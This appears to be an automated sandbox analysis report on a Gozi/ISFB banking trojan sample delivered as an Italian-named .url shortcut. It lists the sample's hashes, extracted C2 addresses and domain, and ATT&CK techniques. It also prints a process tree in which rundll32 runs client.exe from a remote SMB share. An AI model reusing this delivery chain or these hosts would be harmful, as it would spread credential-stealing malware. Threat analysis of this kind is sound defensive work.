gozi | bf127718f51d65b4dffceba87fea35ce602bf7557e9a18411238be79bed2c45d

Analysis

max time kernel
142s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
03-10-2023 13:24

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General

Target

Informazioni.url
Size

192B
MD5

c6c6f5a3d3e0444820d2865c7f1a07bc
SHA1

5f9c9620e315b09802e8e532f48195a9e60f2d2c
SHA256

59944e8c11bfc2d065ef88fca0a033313361ae424962c34573755da99badbf3f
SHA512

4a1a66efff8336bbde327c9256e6e473193c901bc47d1b7648bbfa29212490f3f47092ba060c47cc77a1e6952f6bf814346045d2d1c1eef556ba07d08f69c628

Score

10^/10

gozi 5050 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

185.247.184.139

62.72.33.155

incontroler.com

Attributes

base_path
/jerry/
build
250260
exe_type
loader
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4860 1072 WerFault.exe client.exe

pid	pid_target	process	target process
4860	1072	WerFault.exe	client.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 3968 wrote to memory of 1072	3968	rundll32.exe	client.exe
PID 3968 wrote to memory of 1072	3968	rundll32.exe	client.exe
PID 3968 wrote to memory of 1072	3968	rundll32.exe	client.exe

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Informazioni.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3968

\??\UNC\62.173.146.46\scarica\client.exe
"\\62.173.146.46\scarica\client.exe"
2⤵
PID:1072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1072 -s 576
3⤵
- Program crash
PID:4860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1072 -ip 1072
1⤵
PID:4132

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/1072-1-0x0000000002410000-0x0000000002510000-memory.dmp

Filesize
1024KB

Download
memory/1072-2-0x0000000003FD0000-0x0000000003FDB000-memory.dmp

Filesize
44KB

Download
memory/1072-3-0x0000000000400000-0x0000000002290000-memory.dmp

Filesize
30.6MB

Download
memory/1072-4-0x0000000004030000-0x000000000403D000-memory.dmp

Filesize
52KB

Download
memory/1072-7-0x0000000000400000-0x0000000002290000-memory.dmp

Filesize
30.6MB

Download
memory/1072-8-0x0000000002410000-0x0000000002510000-memory.dmp

Filesize
1024KB

Download
memory/1072-9-0x0000000003FD0000-0x0000000003FDB000-memory.dmp

Filesize
44KB

Download
memory/1072-13-0x0000000000400000-0x0000000002290000-memory.dmp

Filesize
30.6MB

Download